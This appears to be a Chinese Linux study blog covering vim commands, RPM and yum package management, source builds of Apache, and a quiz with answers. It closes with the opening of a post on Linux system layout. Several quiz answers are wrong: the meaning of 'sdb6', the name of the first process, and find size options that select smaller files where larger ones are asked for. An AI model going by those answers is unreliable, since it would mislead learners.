nG 到第n行 命令模式 :n 到第n行 底线模式 $ 移至行尾 命令模式 0 移至行首 命令模式 光标方向的移动,除了可以使用方向键,还可以使用以下命令: 向上移动光标:k 向左移动光标:h 向右移动光标:l 向下移动光标:j 翻页命令 Ctrl+F向前翻整页 Ctrl+U向前翻半页 Ctrl+B向后翻整页 Ctrl+D向后翻半页 3. 删除命令 命令 作用 模式 x 删除光标所在处字符 命令模式 nx 删除光标所在处后n个字符 命令模式 dd 删除光标所在行,ndd删除n行 命令模式 dG 删除光标所在行到文件末尾内容 命令模式 D 删除光标所在处到行尾内容 命令模式 :n1,n2d 删除指定范围的行 例如:10,12d 底线模式 4. 复制和剪切命令 命令 作用 模式 yy 复制当前行 命令模式 nyy 复制当前行以下n行 例如 3yy 命令模式 dd 剪切当前行 命令模式 ndd 剪切当前行以下n行 命令模式 p、P 粘贴在当前光标所在行下或行上 命令模式 5. 替换和取消命令 命令 作用 模式 r 取代光标所在处字符 ,按r后输入替换的字符 命令模式、底线模式 R 从光标所在处开始替换字符,按Esc结束 命令模式 u 取消上一步操作 命令模式 底线模式下 : r 文件名 可以导入文件中的内容到光标位置r /etc/issue: !命令 可以在不退出VIM的情况下输入命令!which ls: r !date 把时间插入到vim中 6. 搜索和搜索替换命令 命令 作用 模式 / 要查找的字符窜 搜索指定字符串 搜索时忽略大小写 :set ic 、set noic 命令模式 n(按键) 搜索指定字符串的下一个出现位置 命令模式 :%s/old/new/g 全文替换指定字符串 底线模式 :n1,n2s/old/new/g 在一定范围内替换指定字符串 底线模式 替换范围 %s 全文替换 起始行,终止行s /要替换的字符串/替换的新的字符串/g(g不询问,c询问操作) 7. 保存和退出命令 命令 作用 模式 :w 保存修改 底线模式 :w new_filename 另存为指定文件 底线模式 :wq 保存修改并退出 底线模式 ZZ 快捷键,保存修改并退出或shift+zz 命令模式 :q! 不保存修改退出 底线模式 :wq! 强行保存修改并退出(文件所有者及root可使用) 底线模式 Linux软件包管理软件包管理简介 软件包在Linux系统中是程序安装和管理的基础.根据软件包的类型,可以分为源码包和二进制包,下面是对这两种包的详细介绍及其优缺点. 源码包 源码包通常包含C语言或其他编程语言的源代码,允许用户阅读和修改代码.源码包的安装过程比较慢,因为它需要在本地系统上编译成二进制文件才能运行,类似于Windows系统的安装过程.优点:开源:用户可以自由修改源代码. 可定制化:用户可以根据需求选择需要的功能.系统适配性高:编译安装可优化软件性能,提高系统稳定性. 卸载方便:通常可以通过简单的命令来完全卸载.缺点:安装步骤繁琐:尤其是安装大型软件集合时,容易出错. 安装时间长:编译过程可能需要较长时间.错误处理困难:新手可能难以解决编译过程中的错误.二进制包 二进制包是经过编译的包,其中最常见的类型是RPM包,它是许多Linux发行版的默认包格式.优点:简单快速:包管理系统允许通过简单的命令快速安装、升级、查询和卸载软件.安装速度快:比源码包安装快很多,因为不需要编译.缺点:源代码不可见:用户无法查看或修改源代码. 功能选择不如源码包灵活:用户不能自定义功能和选项.依赖问题:软件之间的依赖关系可能导致一系列的依赖性安装问题. RPM包管理-rpm命令管理RPM包命名原则RPM包的命名遵循一定的原则,以确保用户可以从文件名中快速得到关于软件包的详细信息.以下是RPM包命名原则的详细解析: 12345678包全名: httpd-2.2.15-15.el6.centos.1.i686.rpm包分解:- httpd 软件包名称- 2.2.15 软件版本号- 15 软件发布的次数(修订版本)- el6.centos 适合的Linux发行版(el6代表Enterprise Linux 6,centos表明是为CentOS定制)- i686 适合的硬件架构(i686为32位系统)- .rpm 文件扩展名,表示这是一个RPM包 每部分的具体含义如下: 软件包名称 (httpd): 这是软件包的基本名称,通告了用户这是哪个软件的包. 软件版本号 (2.2.15): 表示该软件包含的软件版本,有助于用户了解软件的功能和兼容性. 软件发布次数 (15): 该数字通常代表软件包维护者的修订次数,有时候也包含安全补丁和重要更新. 适合的Linux发行版 (el6.centos): 这表明了软件包是为哪个Linux发行版或版本定制的,有时候包括了适合的系统版本. 适合的硬件架构 (i686): 告诉用户这个包是为哪种CPU架构编译的,例如i686通常指32位架构的处理器. RPM包扩展名 (.rpm): 明确这是一个RPM格式的软件包,告诉用户可以使用RPM兼容的包管理器进行安装和管理. RPM包依赖性 树形依赖:a–>b–>c(最典型的依赖) 环形依赖:a–>b–>c–>a 模块依赖:模块依赖查询网站 https://jiangjiyue.github.io/www.rpmfind.netwww.rpmfind.net 包全名与包名 包全名:操作的包是没有安装的软件包时,使用包全名.而且要注意路径(安装) 包名:操作已经安装的软件包时,使用包名.是搜索/var/lib/rpm/中的数据库(执行、卸载) RPM安装123456rpm -ivh 包全名选项: -i(install) 安装 -v(verbose) 显示详细信息 -h(hash) 显示进度 --nodeps 不检测依赖性 1234567891011121314151617181920212223242526272829303132333435363738394041424344454647[root@192 Packages]# rpm -ivh httpd- #按tab键就会列出与httpd相关的安装包httpd-2.4.6-95.el7.centos.x86_64.rpm httpd-manual-2.4.6-95.el7.centos.noarch.rpm httpd-devel-2.4.6-95.el7.centos.x86_64.rpm httpd-tools-2.4.6-95.el7.centos.x86_64.rpm [root@192 Packages]# rpm -ivh httpd-2.4.6-95.el7.centos.x86_64.rpm #安装httpd错误:依赖检测失败: /etc/mime.types 被 httpd-2.4.6-95.el7.centos.x86_64 需要 httpd-tools = 2.4.6-95.el7.centos 被 httpd-2.4.6-95.el7.centos.x86_64 需要[root@192 Packages]# rpm -ivh httpd-tools-2.4.6-95.el7.centos.x86_64.rpm 准备中... ################################# [100%]正在升级/安装... 1:httpd-tools-2.4.6-95.el7.centos ################################# [100%]我们主要看第2个100%[root@192 Packages]# rpm -ivh httpd-2.4.6-95.el7.centos.x86_64.rpm 错误:依赖检测失败: /etc/mime.types 被 httpd-2.4.6-95.el7.centos.x86_64 需要[root@192 Packages]# yum deplist httpd #检查依赖性已加载插件:fastestmirror, langpacksLoading mirror speeds from cached hostfile * base: mirrors.huaweicloud.com * extras: mirrors.aliyun.com * updates: mirrors.aliyun.com软件包:httpd.x86_64 2.4.6-97.el7.centos.2 依赖:/bin/sh provider: bash.x86_64 4.2.46-35.el7_9 依赖:/etc/mime.types provider: mailcap.noarch 2.1.41-2.el7 依赖:/usr/sbin/groupadd provider: shadow-utils.x86_64 2:4.6-5.el7 依赖:/usr/sbin/useradd provider: shadow-utils.x86_64 2:4.6-5.el7 依赖:httpd-tools = 2.4.6-97.el7.centos.2[root@192 Packages]# rpm -ivh mailcap-2.1.41-2.el7.noarch.rpm 准备中... ################################# [100%]正在升级/安装... 1:mailcap-2.1.41-2.el7 ################################# [100%][root@192 Packages]# rpm -ivh httpd-httpd-2.4.6-95.el7.centos.x86_64.rpm httpd-manual-2.4.6-95.el7.centos.noarch.rpm httpd-devel-2.4.6-95.el7.centos.x86_64.rpm httpd-tools-2.4.6-95.el7.centos.x86_64.rpm [root@192 Packages]# rpm -ivh httpd-2.4.6-95.el7.centos.x86_64.rpm 准备中... ################################# [100%]正在升级/安装... 1:httpd-2.4.6-95.el7.centos ################################# [100%]我在安装htppd升级包的时候奔溃了,依赖的包太多了!需要用到yum在处理依赖性的方法 RPM包升级123rpm -Uvh 包全名选项: -U(upgrade) 升级 卸载1234rpm -e 包名选项: -e(erase) 卸载 --nodeps 不检测依赖性 123456[root@192 Packages]# rpm -e httpd错误:依赖检测失败: httpd = 2.4.6-95.el7.centos 被 (已安裝) httpd-manual-2.4.6-95.el7.centos.noarch 需要[root@192 Packages]# rpm -e httpd-manual[root@192 Packages]# rpm -e httpd RPM包管理-其他内容查询是否安装123456789[root@192 /]# rpm -q 包名 #查询包是否安装选项: -q 查询(query)[root@192 /]# rpm -qa #查询所有已经安装的RPM包选项: -a 所有(all) [root@192 /]# rpm -qa | grep httpdhttpd-tools-2.4.6-95.el7.centos.x86_64 查询软件包详细信息1234[root@192 /]# rpm -qi 包名选项: -i 查询软件信息(information) -p 查询未安装包信息(package)[包全名] 查询包中文件安装位置1234[root@192 /]# rpm -ql 包名选项: -l 列表(list) -p 查询未安装包信息(package) 查询系统文件属于哪个RPM包123[root@192 /]# rpm -qf 系统文件名选项: -f 查询系统文件属于哪个软件包(file) 查询软件包的依赖性1234[root@192 /]# rpm -qR 包名选项: -R 查询软件包的依赖性(requires) -p 查询未安装包信息(package) RPM包检验(查看被修改的文件)12345678910111213141516171819[root@192 /]# rpm -V 已安装的包名选项: -V 校验指定RPM包中的文件(verify) 验证内容中的8个信息的具体内容如下: S 文件大小是否改变 M 文件的类型或文件的权限(rwx)是否被改变 5 文件MD5校验和是否改变(可以看成文件内容是否改变) D 设备中,从代码是否改变 L 文件路径是否改变 U 文件的属主(所有者)是否改变 G 文件的属组是否改变 T 文件的修改时间是否改变 文件类型 c 配置文件(config file) d 普通文档(documentation) g "鬼"文件(ghost file),很少见,就是该文件不应该被这个RPM包包含 l 授权文件(license file) r 描述文件(read me) RPM包中文件提取 (文件修复用的)123456789101112131415161718192021[root@192 /]# rpm2cpio 包全名 |[\\(表示换行)] cpio -idv.文件绝对路径rpm2cpio #将rpm包转换为cpio格式的命令cpio #是一个标准工具,它用于创建软件档案文件和从档案文件中提取文件 [root@192 /]# cpio 选项 <[文件|设备]选项: -i: copy-in模式,还原 -d: 还原时自动新建目录 -v: 显示还原过程 范例:测试文件修改功能 [root@192 ~]# rpm -qf /bin/ls #查询ls命令属于哪个软件包coreutils-8.22-24.el7_9.2.x86_64[root@192 ~]# mv /bin/ls /tmp/ #造成ls命令误删除假象[root@192 ~]# lsbash: ls: 未找到命令...相似命令是: 'lz'[root@192 ~]# rpm2cpio /mnt/cdrom/Packages/coreutils-8.22-24.el7.x86_64.rpm |cpio -idv ./bin/ls #提取RP包中ls命令到当前目录的/bin/ls下28603 块[root@192 ~]# cp /root/bin/ls /bin/ #把ls命令复制会/bin/目录,修复文件丢失 RPM包管理-yum在线管理用来解决依赖性,自动安装 IP地址配置和网络yum源123456[root@192 ~]# ifconfig eth0 192.168.1.156 #临时生效一旦重启,就会失效 ,想要永久修改,查看3.8命令 [root@192 ~]# ping www.sina.com.cnPING ww1.sinaimg.cn.w.alikunlun.com (124.165.216.217) 56(84) bytes of data.64 bytes from 217.216.165.124.adsl-pool.sx.cn (124.165.216.217): icmp_seq=1 ttl=57 time=6.73 ms64 bytes from 217.216.165.124.adsl-pool.sx.cn (124.165.216.217): icmp_seq=2 ttl=57 time=7.03 ms64 bytes from 217.216.165.124.adsl-pool.sx.cn (124.165.216.217): icmp_seq=3 ttl= 57 time=6.94 ms< /FONT> 网络yum源(linux的官方网络) 12345678# 切换到存放yum源配置文件的目录[root@192 ~]# cd /etc/yum.repos.d/# 列出当前目录下的所有文件,这些是不同的yum源配置文件[root@192 yum.repos.d]# ls# 编辑CentOS的基础yum源配置文件[root@192 yum.repos.d]# vim /etc/yum.repos.d/CentOS-Base.repo 在CentOS-Base.repo文件中,各项配置的意义如下: [base]:容器名称或标识符,必须置于方括号[]内.在yum配置中,它定义了一个仓库的唯一标识. name:仓库的说明,可以是任意描述性文本,方便用户识别. mirrorlist:软件包镜像站点的URL.通常是一个服务器列表,yum会根据这个列表找到最好的服务器进行软件包下载.这一行可以被注释掉,如果你打算直接使用baseurl. baseurl:定义yum源服务器的地址,即软件包的实际下载位置.默认指向CentOS官方源,可以修改为其他高速或本地镜像地址. enabled:指定该仓库是否被启用.1或省略表示启用,而0表示禁用. gpgcheck:决定是否进行GPG密钥检查.1表示启用RPM包的数字签名验证,0表示关闭验证,这样可能会增加系统安全风险. gpgkey:GPG密钥的公钥文件位置,用于验证软件包的完整性和出版商的可靠性.通常不需要修改. yum命令查询 12[root@192 yum.repos.d]# yum list #查询所有可用软件包列表[root@192 yum.repos.d]# yum search 关键字(包名) #搜索服务器上所有和关键字相关的包 安装 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566[root@192 yum.repos.d]# yum -y install 包名选项: install 安装 -y 自动回答yes[root@192 yum.repos.d]# yum -y install httpd #安装apache服务已加载插件:fastestmirror, langpacksLoading mirror speeds from cached hostfile * base: mirrors.huaweicloud.com * extras: mirrors.aliyun.com * updates: mirrors.aliyun.combase | 3.6 kB 00:00:00 extras | 2.9 kB 00:00:00 updates | 2.9 kB 00:00:00 正在解决依赖关系--> 正在检查事务---> 软件包 httpd.x86_64.0.2.4.6-97.el7.centos.2 将被 安装--> 正在处理依赖关系 httpd-tools = 2.4.6-97.el7.centos.2,它被软件包 httpd-2.4.6-97.el7.centos.2.x86_64 需要--> 正在检查事务---> 软件包 httpd-tools.x86_64.0.2.4.6-95.el7.centos 将被 升级---> 软件包 httpd-tools.x86_64.0.2.4.6-97.el7.centos.2 将被 更新--> 解决依赖关系完成依赖关系解决========================================================================================================================================== Package 架构 版本 源 大小==========================================================================================================================================正在安装: httpd x86_64 2.4.6-97.el7.centos.2 updates 2.7 M为依赖而更新: httpd-tools x86_64 2.4.6-97.el7.centos.2 updates 94 k事务概要==========================================================================================================================================安装 1 软件包升级 ( 1 依赖软件包)总下载量:2.8 MDownloading packages:No Presto metadata available for updates(1/2): httpd-tools-2.4.6-97.el7.centos.2.x86_64.rpm | 94 kB 00:00:00 (2/2): httpd-2.4.6-97.el7.centos.2.x86_64.rpm | 2.7 MB 00:00:00 ------------------------------------------------------------------------------------------------------------------------------------------总计 3.6 MB/s | 2.8 MB 00:00:00 Running transaction checkRunning transaction testTransaction test succeededRunning transaction警告:RPM 数据库已被非 yum 程序修改. 正在更新 : httpd-tools-2.4.6-97.el7.centos.2.x86_64 1/3 正在安装 : httpd-2.4.6-97.el7.centos.2.x86_64 2/3 清理 : httpd-tools-2.4.6-95.el7.centos.x86_64 3/3 验证中 : httpd-2.4.6-97.el7.centos.2.x86_64 1/3 验证中 : httpd-tools-2.4.6-97.el7.centos.2.x86_64 2/3 验证中 : httpd-tools-2.4.6-95.el7.centos.x86_64 3/3 已安装: httpd.x86_64 0:2.4.6-97.el7.centos.2 作为依赖被升级: httpd-tools.x86_64 0:2.4.6-97.el7.centos.2 完毕![root@192 yum.repos.d]# yum -y install gcc #c语言的编辑器 升级 1234[root@192 yum.repos.d]# yum -y update 包名选项: update 升级 -y 自动回答yes 卸载 123456[root@192 yum.repos.d]# yum -y remove 包名选项: remove 卸载 -y 自动回答yes强调服务器安装原理:安装最小化安装不安装多余软件,使用什么软件安装什么软件,尽量不卸载,尤其是yum卸载,尽量不用 YUM软件组管理命令1234567891011121314151617181920212223242526272829303132333435[root@192 yum.repos.d]# yum grouplist #列出所以可用的软件组列表已加载插件:fastestmirror, langpacks没有安装组信息文件Maybe run: yum groups mark convert (see man yum)Loading mirror speeds from cached hostfile * base: mirrors.huaweicloud.com * extras: mirrors.aliyun.com * updates: mirrors.aliyun.com可用的环境分组: 最小安装 基础设施服务器 计算节点 文件及打印服务器 基本网页服务器 虚拟化主机 带 GUI 的服务器 GNOME 桌面 KDE Plasma Workspaces 开发及生成工作站可用组: 传统 UNIX 兼容性 兼容性程序库 图形管理工具 安全性工具 开发工具 控制台互联网工具 智能卡支持 科学记数法支持 系统管理 系统管理工具完成[root@192 yum.repos.d]#yum groupinstall 软件组名 #安装指定软件组,组名可以由grouplist查询出来(安装英文)[root@192 yum.repos.d]#yum groupremove 软件组名 #卸载指定软件组 光盘yum源搭建步骤挂载光盘 1[root@192 ~]# mount /dev/cdrom /mnt/cdrom/ #挂载光盘 让网络yum源文件失效 12345[root@192 ~]# cd /etc/yum.repos.d/[root@192 yum.repos.d]# lsCentOS-Base.repo CentOS-Debuginfo.repo CentOS-Media.repo CentOS-Vault.repoCentOS-CR.repo CentOS-fasttrack.repo CentOS-Sources.repo CentOS-x86_64-kernel.repo[root@192 yum.repos.d]# mv CentOS-Basc.repo CentOS-Base.repo.bak #改名字就会失效 修改光盘yum源文件 1234567891011[root@192 yum.repos.d]# vim CentOS-Media.repo[c7-media]name=CentOS-$releasever - Mediabaseurl=file:///mnt/cdrom/#地址为你自己的光盘挂载地址# file:///media/cdrom/# file:///media/cdrecorder/#注释这两个不存在的地址gpgcheck=1enabled=1 #把enable=0改为enable=1,让这个yum源配置文件生效gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-CentOS-7 源码包管理源码包和RPM包的区别区别 安装之前的区别:概念上的区别 安装之后的区别:安装位置不同 RPM包安装位置是安装在默认位置中:RPM包默认安装路径 /etc/ 配置文件安装目录 /usr/bin/ 可执行的命令安装目录 /usr/lib/ 程序所使用的函数库保存位置 /usr/share/doc/ 基本的软件使用手册保存位置 usr/share/man 帮助文件保存位置 1234567891011[root@my-think ~]# rpm -q httpd #查询httpd的安装包httpd-2.4.6-97.el7.centos.2.x86_64[root@my-think ~]# rpm -ql httpd #查询httpd的安装路径/etc/httpd/etc/httpd/conf/etc/httpd/conf.d/etc/httpd/conf.d/README/etc/httpd/conf.d/autoindex.conf/etc/httpd/conf.d/userdir.conf/etc/httpd/conf.d/welcome.conf/etc/httpd/conf.modules.d ... 源码包安装位置安装在指定位置当中,一般是/usr/local/软件名/可以在编译的时候指定位置./configure --prefix=/usr/local/nginx安装位置不同带来的影响RPM包安装的服务可以使用系统服务管理命令(service)来管理 例如的apache的启动方法是: RPM包安装的启动方法启动httpd服务: 使用service命令是传统的方法,但在新版的Red Hat系列系统中(使用systemd作为init系统的版本),service命令会被重定向到systemctl命令.12[root@my-think init.d]# service httpd startRedirecting to /bin/systemctl start httpd.service开放防火墙端口80: 通过firewall-cmd命令可以管理firewalld服务,它是Red Hat系列系统中默认的防火墙管理工具.这两条命令成功地将TCP端口80添加到了公共区域(public zone)并且永久生效,然后重新加载了防火墙的配置.1234[root@my-think bin]# firewall-cmd --zone=public --add-port=80/tcp --permanentsuccess[root@my-think bin]# firewall-cmd --reloadsuccess开放端口80是为了允许HTTP流量(通常是网页服务器的流量)进入服务器.访问网页服务器: 假设服务器的IP地址是192.168.1.8,您可以通过浏览器访问http://192.168.1.8.如果httpd已经启动并且防火墙端口已开放,您应该能够看到在/var/www/html目录中的默认网页或您创建的index.html.源码包的启动方法启动httpd服务:如果是从源码编译安装的Apache httpd(比如安装到/usr/local/apache2),那么您需要使用安装路径下提供的控制脚本(如apachectl)来管理服务.1/usr/local/apache2/bin/apachectl start开放防火墙端口80: 通过firewall-cmd命令可以管理firewalld服务,它是Red Hat系列系统中默认的防火墙管理工具.这两条命令成功地将TCP端口80添加到了公共区域(public zone)并且永久生效,然后重新加载了防火墙的配置.1234[root@my-think bin]# firewall-cmd --zone=public --add-port=80/tcp --permanentsuccess[root@my-think bin]# firewall-cmd --reloadsuccess开放端口80是为了允许HTTP流量(通常是网页服务器的流量)进入服务器.访问网页服务器: 假设服务器的IP地址是192.168.1.8,您可以通过浏览器访问http://192.168.1.8.如果httpd已经启动并且防火墙端口已开放,您应该能够看到在/var/www/html目录中的默认网页或您创建的index.html. 源码包安装过程安装准备 安装C语言编译器:确保系统中已经安装了C语言编译器,这是编译源码的基础. 下载源码包:源码包可以从官方网站下载,例如Apache服务器源码包可从这里下载. 安装注意事项 源代码保存位置:推荐保存在/usr/local/src/. 软件安装位置:推荐安装在/usr/local/. 确定安装过程中是否报错: 安装过程中断停止. 出现error、warning或no的提示. 源码包安装过程下面是基于Linux环境的Apache源码包安装示例: 12345678910111213141516171819202122232425262728293031# 下载源码包:使用FTP或其他方式进行传输# 解压缩下载的源码包tar -zxvf httpd-2.4.51.tar.gz # 解压# 查看文件大小[root@my-think src]# du -sh httpd-2.4.5148M httpd-2.4.51# 进入解压缩后的目录(这一步不能省略)# 安装前重要的文件阅读# INSTALL文件包含了安装步骤# README文件包含了使用说明# 使用./configure进行软件配置和系统环境检查[root@my-think httpd-2.4.51]# ./configure --prefix=/usr/local/apache2# 如果出现错误,根据提示进行解决,如下例:configure: error: APR-util not found. Please read the documentation.# 编译源代码$ make# 如果编译过程中出现错误,可使用以下命令清空临时文件:make clean# 安装编译后的软件$ make install# 启动安装后的服务$ /usr/local/apache2/bin/apachectl start 源码包的卸载源码包的卸载十分简单,不需要使用专用的卸载命令.只需直接删除安装目录即可: 12# 假设安装目录为/usr/local/apache2rm -rf /usr/local/apache2 测验1. Linux操作系统中名为\"sdb6\"的分区代表什么意思?scsi第二块硬盘的第二个分区2. 简述Linux操作系统的基本引导过程开机自检MBR引导GRUB菜单加载内核init进程初始化3. CentOS中第一个运行的进程是什么?systemctl4. Systemd的常见的单元类型中service与target分表代表什么意思?12service # 描述一个系统服务target # 描述一组systemd的单元5. 用表格显示Systemd的目标与SysVinit的运行级别对应关系,并说明其含义?SystemdSysVinit含义target0关机rescue.target1单用户模式multi-user.target3字符端graphical.target5图形化reboot.target6重启6. 假如在CentOS中启动并查看apache服务的运行状态的命令分别是什么?123[root@localhost ~]# systemctl start httpd[root@localhost ~]# systemctl status httpd[root@localhost ~]# ps -ef | grep apache7. 在CentOS中执行哪几条命令可以将系统运行目标切换至图形化模式?1234# 切换到字符界面systemctl set-default multi-user.target# 切换到图形化systemctl set-default graphical.target8. 在CentOS中执行什么命令可以将apache服务设置为开机自动启动?123[root@localhost ~]# systemctl enable httpd[root@localhost ~]# vim /etc/rc.d/rc.local/usr/sbin/httpd9. 若CentOS运行在字符界面模式,所有开机自启服务的软链接存放在什么目录下?1ls /etc/systemd/multi-user.target.wants/10. 在CentOS中执行什么命令可以查看当前系统中所有已经激活的系统服务?1systemctl list-units -t service11. Linux操作系统通用的命令行格式是什么?1命令字 [选项] [参数]12. 列表对比Linux操作系统下获取命令帮助的方法123help--helpman13. 操作命令选项的时候\"-\"和\"--\"的区别是什么?12- # 短格式选项-- # 长格式选项14. help和--help分别代表什么意思?12help #内部命令帮助--help # 外部命令帮助15. 重定向符的作用是什么?1将标准输出结果保存到文件中16. 列表对比pwd、cd、ls、du命令的作用、命令格式、常用选项命令作用格式常用选项pwd显示当前所在工作目录pwdpwdcd切换工作目录cd 目标位置cd 目标位置ls列表显示目录内容ls-l -a -A -d -h -R -colordu统计目录及文件空间占用情况du [选项] [文件或目录]-a -h -s17. 绝对路径与相对路径的区别是什么?12345参照物不同# 绝对路径 --以根目录为参照物/opt/clash# 相对路径 --以opt目录为参照物./clash18. 常见相对路径的表现形式有哪几种?123./opt../opt~opt19. 如何查看系统存在哪些别名命令?1alias20. 当目标文件存在时,使用touch命令创建该文件,命令执行结果是什么?1没有执行结果21. 列表比较软链接与硬链接的区别软链接硬链接删除原始文件后失效依旧可用使用范围适用于文件或目录只可用于文件保存位置与原始文件可以位于不同的文件系统中必须与原始文件在同一个文件系统(如一个Linux分区)内22. 在刚装好的linux系统上使用`mkdir /test/lol/dark`命令,是否会成功,原因是什么?1不会成功,因为不能递归创建,如果递归创建需要加-p参数 23. 列表对比cp、rm、mv命令的作用、命令格式、常用选项命令作用格式常用选项cp复制文件或目录cp [选项] 源文件或目录 目标文件或目录-f -i -p -rrm删除文件或目录rm [选项] 要删除的文件或目录-f -i -rmv移动文件或目录mv [选项] 源文件或目录 目标文件或目录无24. cp复制目录的时候总提示失败,分析原因可能有哪些?1目录里有文件需要递归复制25. rm删除目录失败,需要附加什么选项?1-f/-rf26. mv命令除了移动对象以外还有什么作用?1重命名27. find命令与which命令的区别是什么?12which # 搜索范围由环境变量PATH决定find # 采用递归方式,根据目标的名称,类型,大小等不同属性进行精细查找 28. find命令的语法与主要选项都有哪些?各选项的作用是什么?1234find [查找范围] [查找条件表达式]-name # 名称-type # 类型-size # 大小29. 如何用一条命令查找出文件大小大于10k并且名字以chain开头的文件1find / -name chain* -a -size -10k30. 在Linux命令行中按Ctrl+L组合键的作用是什么?1清屏=clear31. 获得Linux命令的在线帮助的方式有哪些?简述各自的特点和区别?帮助命令特点区别man提供详细的命令使用说明和选项信息.包含详尽的信息,适用于深入学习命令.可能不包含最新的命令选项.info提供与man类似,但可能更详细的信息,支持超链接.信息组织结构类似于网页,用于浏览相关命令的详细信息及其上下文.--help快速获取命令的基本用法和可用选项的简要说明.用于快速查阅命令的基本信息,通常在命令后直接使用.whatis显示一条命令的简短描述.提供命令的简单概述,适用于快速理解命令的基本功能./usr/share/doc/浏览特定软件包提供的文档.包含特定软件包的额外文档,使用文件浏览器或命令行工具查看.在线资源访问互联网上的资源,如官方文档、论坛和教程.提供最新和最全面的信息,需要互联网连接.32. 在Linux命令行下执行\"ls -ld\"命令的作用是什么?12-l # 显示文件和目录的详细资料-d # 将目录名像其它文件一样列出,而不是列出它们的内容33. 执行什么命令可以分别统计/boot目录中所有文件、子目录各自占用的空间大小?1du -sh /boot/*34. 依次执行什么命令可以为文件/bin/bzip2 创建一个软链接文件/bin/wx/bzip2 ?1ln -s /bin/zip2 /bin/wx/bzip235. 执行什么命令可以把目录/boot/grub、文件/etc/apg.conf复制到当前目录下的public_html文件夹中?1cp /boot/grub /etc/apg.conf ./public_html/ -r36. 在Linux命令行中执行\"echo $PATH\"命令的作用是什么?12# 输出系统环境变量echo $PATH37. 执行什么命令可以在/etc目录下查找\"超过1024KB\"和\"名称以.conf结尾\"的文件?1find /etc/ -name *.conf -a -size -1024k38. 列表对比Linux系统下可以查看文件内容命令的作用、命令格式、常用选项命令作用格式选项cat显示出文件的内容cat [选项] 文件名-n -bmore全屏方式分页显示文件内容more [选项] 文件名enter 空格 qless与more命令相同,但扩展功能更多less [选项] 文件名page up/page down/ "/"/n/Nwc统计文件中的单词数量等信息wc [选项] 目标文件-l -w -chead查看文件开头的一部分内容(默认为10行)head -n 文件名-ntail查看文件结尾的少部分内容(默认为10行)tail [选项] [文件名]-n -fgrep在文件中查找并显示包含指定字符串的行grep [选项] 查找条件 目标文件-i -v39. 使用grep命令过滤文件内容时\"\\^\"、\"\\$\"与\"\\^$\"分别表示什么作用?123^ # 以····开头$ # 以····结尾^$ # 表示空行40. 如何得到httpd.comf文件中除去注释和空行后的有效信息?1cat /etc/httpd/conf/httpd.conf | grep -v ^$ |grep -v ^.*#","tags":["Centos","Linux","计算机基础"]},{"title":"二. Linux从入门到精通(上)","path":"/2020/06/02/5fa17f4e/","content":"总字符数: 45.00K 代码: 27.49K, 文本: 10.90K 预计阅读时间: 2.78 小时 Linux学习手册: https://security-1258894728.cos.ap-beijing.myqcloud.com/Manual/Linux%E5%AD%A6%E4%B9%A0%E6%89%8B%E5%86%8Cv8.0.chmhttps://security-1258894728.cos.ap-beijing.myqcloud.com/Manual/Linux%E5%AD%A6%E4%B9%A0%E6%89%8B%E5%86%8Cv8.0.chm LINUX 系统结构Linux系统可以粗糙地抽象为3个层次,一般称为内核层(Kernel),中间层是Shell层,既命令解释器,高层则是应用层. 层次 描述 内核层 内核层是UNIX/LINUX系统的核心和基础,它直接附着在硬件平台上,控制和管理系统内各种资源(硬件资源和软件资源),有效地组织进程的运行,从而扩展硬件的功能,提高资源的利用效率,为用户提供方便、高效、安全、可靠的应用环境. Shell层 Shell层是与用户直接交互的界面.用户可以在提示符下输入命令行,由Shell解释执行并输出相应结果或有关信息,所以我们也把Shell称为命令解释器,利用系统提供的丰富命令可以快捷而简单地完成许多工作. 应用层 应用层提供基于X Window协议的图形环境.X Window协议定义了一个系统所必须具备的功能(如同TCP/IP是一个协议,定义软件所应具备的功能),任何系统能满足此协议及符合X协会其他的规范,便可称为X Window. X Window与微软的Windows图形环境有很大的区别: Linux系统与X Window没有必然捆绑的关系,也就是说,Linux可以安装X Window,也可以不安装; 微软的Window图形环境与内核捆绑密切. Linux系统不依赖图形环境,依然可以通过命令行完成100%的功能,而且因为不使用图形环境还会节省大量的系统资源。 作为服务器部署,绝大多数Linux并不安装或并不启用图形环境. Linux控制台的使用​ Linux系统由桌面控制台和字符控制台组成。 桌面系统即X-Window视窗,实质是在命令行下运行的应用程序. 字符控制台是Linux系统核心,大部分操作在字符界面完成。 默认Linux有6个字符控制台,可独立作业,体现了”多用户、多任务”特性.在图形界面下切换到字符界面按Ctrl+Alt+F1~F6,反之,从字符界面切换到X-Window可输入”startx”或按Ctrl+Alt+F7. Linux图形界面相对不够完善,功能较Windows有欠缺,复杂操作难在图形界面完成。 因此,习惯在字符界面下工作对操作上有重要意义. Linux系统默认管理员用户是root,类似于Windows的Administrator,拥有最高权限,可以操作系统所有文件和设备。 登录Linux系统输入root用户名和密码即可. Linux 文件系统结构介绍 / :Linux 系统的根目录. /root :该目录为系统管理员目录,如果用户是以超级用户的身份登录的,这个就是超级用户的主目录,设置成较高安全等级 /bin :存放系统预装的可执行程序,或用户一般使用程序,这里存放的可执行文件可以在系统的任何目录下执行.如ls,mv,rm等常用执行文件,有时内容与/usr/bin一样(使用链接文件) /dev:dev 是设备(device)的英文缩写,这个目录对所有的用户都十分重要,因为在这个目录中包含了所有Linux系统中使用的外部设备,Linux中的设备也是以文件的形式存在的,但是这里并不是放的外部设备的驱动程序 /home :用户的主目录,如果建立一个用户,用户名是”Bob”,那么在/home目录下就有一个对应的/home/Bob路径,用来存放用户的主目录,也叫作用户的根目录,用户登录以后,默认打开自己的根目录. /lib :lib是库(library)英文缩写.这个目录是用来存放系统动态连接共享库的,其作用类似于 Windows 里的 DLL 文件,几乎所有的应用程序都会用到这个目录下的共享库 /mnt :这个目录在一般情况下也是空的,系统提供该目录是为了让用户临时挂载别的文件系统,我们可以将光驱挂载在 /mnt/ 上,然后进入该目录就可以查看光驱里的内容. /proc :可以在这个目录下获取系统信息,这些信息是在内存中,由系统自己产生的. /run :是一个临时文件系统,存储系统启动以来的信息.当系统重启时,这个目录下的文件应该被删掉或清除.如果你的系统上有 /var/run 目录,应该让它指向 run. /srv :存放服务启动后需要提取的数据(不用服务器就是空) /tmp :用来存放不同程序执行时产生的临时文件. /var:系统中的可变文档的存放位置,这个目录存放在不断扩充的东西,我们习惯将那些经常被修改的文件存放在该目录下,比如运行的各种日志文件、未读邮件等. /boot 